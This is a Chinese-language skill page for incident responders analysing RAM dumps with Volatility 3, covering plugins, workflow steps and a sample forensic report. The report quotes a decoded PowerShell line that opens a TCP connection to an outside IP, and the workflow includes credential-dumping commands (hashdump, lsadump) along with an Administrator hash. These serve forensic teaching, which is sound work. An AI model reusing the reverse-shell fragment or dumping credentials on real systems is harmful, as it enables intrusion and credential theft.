Communitygithub.com

使用 Volatility 分析記憶體轉儲

分析受侵害系統的 RAM 記憶體轉儲,利用 Volatility 框架識別惡意程序。

使用 Volatility 分析記憶體轉儲 是什麼?

該技能詳細說明了如何使用 Volatility 3 框架對受侵害系統的 RAM 記憶體轉儲進行取證分析。其核心目標是識別惡意程序、偵測程式碼注入(如 process hollowing)、提取網路連線和憑證等關鍵痕跡。技能支援 Windows、Linux 和 macOS 系統,並涵蓋了從獲取記憶體映像、識別作業系統輪廓、列舉程序、掃描惡意程式碼、分析網路連線到使用 YARA 規則進行已知惡意軟體掃描的完整工作流程。此外,還提供了常見場景(如偵測無檔案惡意軟體)的逐步指南和一份詳細的取證分析報告模板,對於進行事件響應和記憶體取證的工程師極具實用價值。

相容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-memory-dumps-with-volatility

在你喜歡的 AI 中提問

開啟一個已預先載入此 Agent Skill 的新對話。

說明文件

使用 Volatility 分析記憶體轉儲 是做什麼的?

使用時機

  • 已捕獲受侵害系統的 RAM,需要進行惡意軟體痕跡的取證分析
  • 偵測僅存在於記憶體且無持續性磁碟痕跡的無檔案 (fileless) 惡意軟體
  • 從程序記憶體中提取加密金鑰、密碼或解密後的設定
  • 在受侵害系統中識別程序注入、DLL 注入或 Process Hollowing
  • 分析繞過標準磁碟取證工具的 Rootkit 活動

請勿使用於磁碟映像分析;請使用 Autopsy、FTK 或 Sleuth Kit 進行磁碟取證。

先決條件

  • 已安裝 Volatility 3(pip install volatility3),並具備目標作業系統的符號表
  • 從目標系統取得的記憶體轉儲檔案(使用 WinPmem、LiME 或 DumpIt)
  • 了解來源作業系統版本,以便選擇正確的輪廓 (Profile) / 符號 (Symbol)
  • 足夠的磁碟空間(記憶體轉儲可能為 4-64 GB)
  • 用於掃描記憶體中已知惡意軟體特徵的 YARA 規則
  • 用於從記憶體區域提取可讀字串的 Strings 工具

工作流程

步驟 1:識別記憶體轉儲的輪廓 (Profile)

從記憶體轉儲中確定作業系統和版本:

# Volatility 3:自動 OS 偵測
vol3 -f memory.dmp windows.info

# 列出可用插件
vol3 -f memory.dmp --help

# 如果需要符號表,可從以下網址下載:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# 對於 Volatility 2(舊版):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

步驟 2:列舉執行中的程序

列出所有程序並識別可疑條目:

# 列出所有程序
vol3 -f memory.dmp windows.pslist

# 程序樹(父子關係)
vol3 -f memory.dmp windows.pstree

# 掃描隱藏/已取消鏈結的程序(Rootkit 偵測)
vol3 -f memory.dmp windows.psscan

# 比較 pslist 與 psscan 以找出隱藏程序
# 存在於 psscan 但不在 pslist 中的程序可能被 Rootkit 隱藏

# 檢查 Process Hollowing
vol3 -f memory.dmp windows.pslist --dump
# 然後驗證轉儲的 EXE 是否與磁碟上的預期二進位檔案相符
可疑程序指標:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe 非由 services.exe 產生(父程序錯誤)
- csrss.exe/lsass.exe 的父程序異常
- 存在多個 lsass.exe 實例(應只有一個)
- 名稱拼寫錯誤的程序(如 scvhost.exe、lssas.exe)
- 由 WINWORD.EXE 或瀏覽器產生的 cmd.exe 或 powershell.exe
- 從異常路徑執行的程序(%TEMP%、%APPDATA%)
- 沒有父程序的程序(孤兒程序 - 父程序已終止)

步驟 3:偵測惡意程式碼注入

掃描注入的程式碼和 Process Hollowing:

# 偵測程序中的注入程式碼 (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind 查找的內容:
# - 具有 PAGE_EXECUTE_READWRITE 保護的記憶體區域
# - 包含 PE 頭(MZ/PE 簽名)的記憶體區域
# - VAD(虛擬位址描述項)異常

# 轉儲被注入的記憶體區域以便分析
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# 列出每個程序載入的 DLL
vol3 -f memory.dmp windows.dlllist --pid 2184

# 透過比較記憶體映射與磁碟映像來偵測被 Hollow 的程序
vol3 -f memory.dmp windows.hollowfind

# 掃描已載入的驅動程式(潛在的 Rootkit 驅動程式)
vol3 -f memory.dmp windows.driverscan

# 列出核心模組
vol3 -f memory.dmp windows.modules

步驟 4:分析網路連線

提取活躍與已關閉的網路連線:

# 列出所有網路連線(活躍與監聽中)
vol3 -f memory.dmp windows.netscan

# 輸出欄位:Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# 過濾出與外部 IP 的已建立連線
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# 對於較舊的 Windows 版本(XP/2003):
vol3 -f memory.dmp windows.netstat

# 交叉比對 PID 與程序清單
# 可疑:svchost.exe 在非標準連接埠上連接到外部 IP
# 可疑:notepad.exe 或 calc.exe 具有網路連線

步驟 5:提取痕跡與憑證

從記憶體中復原敏感資料:

# 為特定 PID 轉儲程序記憶體
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# 提取命令列歷史
vol3 -f memory.dmp windows.cmdline

# 提取環境變數
vol3 -f memory.dmp windows.envars --pid 2184

# 登錄檔分析(提取 Run 機碼以尋找持續性機制)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# 提取雜湊/快取憑證
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# 提取剪貼簿內容
vol3 -f memory.dmp windows.clipboard

# 從記憶體中提取檔案
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

步驟 6:使用 YARA 規則掃描記憶體

應用 YARA 簽名以在記憶體中偵測已知惡意軟體:

# 使用 YARA 規則掃描整個記憶體轉儲
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# 掃描特定程序記憶體
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# 內建 YARA 掃描,用於常見模式
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# 掃描加密金鑰材料
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

步驟 7:時間線與報告生成

建立分析時間線並編譯調查結果:

# 生成全面的時間線
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# 時間線包含:
# - 程序建立/結束時間
# - 網路連線時間戳記
# - 登錄檔修改時間
# - 檔案訪問時間

# 匯出程序清單以便報告
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# 匯出網路連線
vol3 -f memory.dmp windows.netscan --output csv > network.csv

關鍵概念

術語定義
記憶體取證分析揮發性記憶體 (RAM) 內容,以識別可能不存在於磁碟上的執行中程序、網路連線和記憶體痕跡
Process Hollowing一種惡意軟體技術,建立一個處於暫停狀態的合法程序,用惡意程式碼替換其記憶體,然後恢復執行
MalfindVolatility 插件,透過識別具有可執行權限且包含 PE 頭的非映像 VAD 記憶體區域,來偵測注入的程式碼
VAD (虛擬位址描述項)Windows 核心結構,用於追蹤分配給程序的記憶體區域;VAD 異常表示存在注入或 Hollowing
EPROCESS表示程序的 Windows 核心結構;Rootkit 會取消鏈結 EPROCESS 條目,以對標準工具隱藏程序
Pool Tag 掃描一種記憶體取證技術,掃描核心物件池標籤以尋找物件(程序、檔案、連線),即使它們已被取消鏈結
無檔案 (Fileless) 惡意軟體完全在記憶體中運作而不在磁碟上建立檔案的惡意軟體;僅能透過記憶體取證偵測

工具與系統

  • Volatility 3:開源記憶體取證框架,支援 Windows、Linux 和 macOS 記憶體分析,採用插件架構
  • WinPmem:Windows 系統的記憶體擷取工具,可建立用於離線分析的原始記憶體轉儲
  • LiME (Linux Memory Extractor):用於擷取 Linux 系統記憶體轉儲的可載入核心模組
  • Rekall:替代性記憶體取證框架,具有一些獨特的分析能力(已停止開發但仍有用)
  • MemProcFS:記憶體處理檔案系統,允許將記憶體轉儲掛載為檔案系統,以便進行直觀分析

常見場景

場景:EDR 警報後偵測無檔案惡意軟體

背景:EDR 偵測到可疑的 PowerShell 活動,但威脅行為者已清理磁碟痕跡。在系統重新啟動之前捕獲了記憶體轉儲。分析需要識別惡意軟體、其持續性機制以及任何橫向移動。

方法:

  1. 執行 windows.pstree 以識別程序鏈(哪個程序產生了 PowerShell)
  2. 執行 windows.malfind 以偵測執行中程序中的注入程式碼
  3. 轉儲可疑程序記憶體並提取 C2 URL 的字串
  4. 執行 windows.netscan 以識別來自受侵害程序的網路連線
  5. 執行 windows.cmdline 以檢視 PowerShell 執行了哪些命令
  6. 使用 YARA 規則掃描轉儲的程序記憶體中的已知惡意軟體家族
  7. 使用 hashdump 和 lsadump 提取憑證,以評估橫向移動風險

陷阱:

  • 為 OS 版本使用了錯誤的符號表(導致插件失敗或結果不正確)
  • 未比較 pslist 與 psscan 輸出(遺漏了 Rootkit 隱藏的程序)
  • 忽略了已被注入的合法程序(應關注 malfind 結果,而不僅僅是程序名稱)
  • 在得出結論前未提取完整的程序記憶體(來自程序轉儲的字串可能揭示更多 IOCs)

輸出格式

記憶體取證分析報告
===================================
轉儲檔案:        memory.dmp
轉儲大小:        16 GB
OS 版本:         Windows 10 21H2 (Build 19044)
捕獲工具:        WinPmem 4.0
捕獲時間:        2025-09-15 14:35:00 UTC

可疑程序
PID   PPID  名稱             路徑                                    異常
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe 路徑錯誤
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      偽造 svchost 的子程序
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             由 PowerShell 產生

偵測到程式碼注入 (malfind)
PID 852 (explorer.exe):
  位址:0x00400000  大小:98304  保護:PAGE_EXECUTE_READWRITE
  頭部:MZ(偵測到嵌入式 PE)
  轉儲的 SHA-256:abc123def456...

網路連線
PID   程序            本地             遠端                  狀態
2184  svchost.exe     10.1.5.42:49152  185.220.101.42:443    ESTABLISHED
4012  powershell.exe  10.1.5.42:49200  91.215.85.17:8080     ESTABLISHED

提取的憑證
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

命令列歷史
PID 4012:powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  解碼後:$client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA 比對結果
PID 2184:規則 CobaltStrike_Beacon { 在 0x00401200 處匹配 }

時間線
14:10:00  svchost.exe (PID 2184) 從 C:\Users\Admin\AppData\Temp\ 建立
14:10:05  與 185.220.101.42:443 建立網路連線
14:12:30  powershell.exe (PID 4012) 由 svchost.exe 產生
14:15:00  偵測到對 explorer.exe (PID 852) 的程式碼注入
14:20:00  從 LSASS 程序提取憑證

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相關技能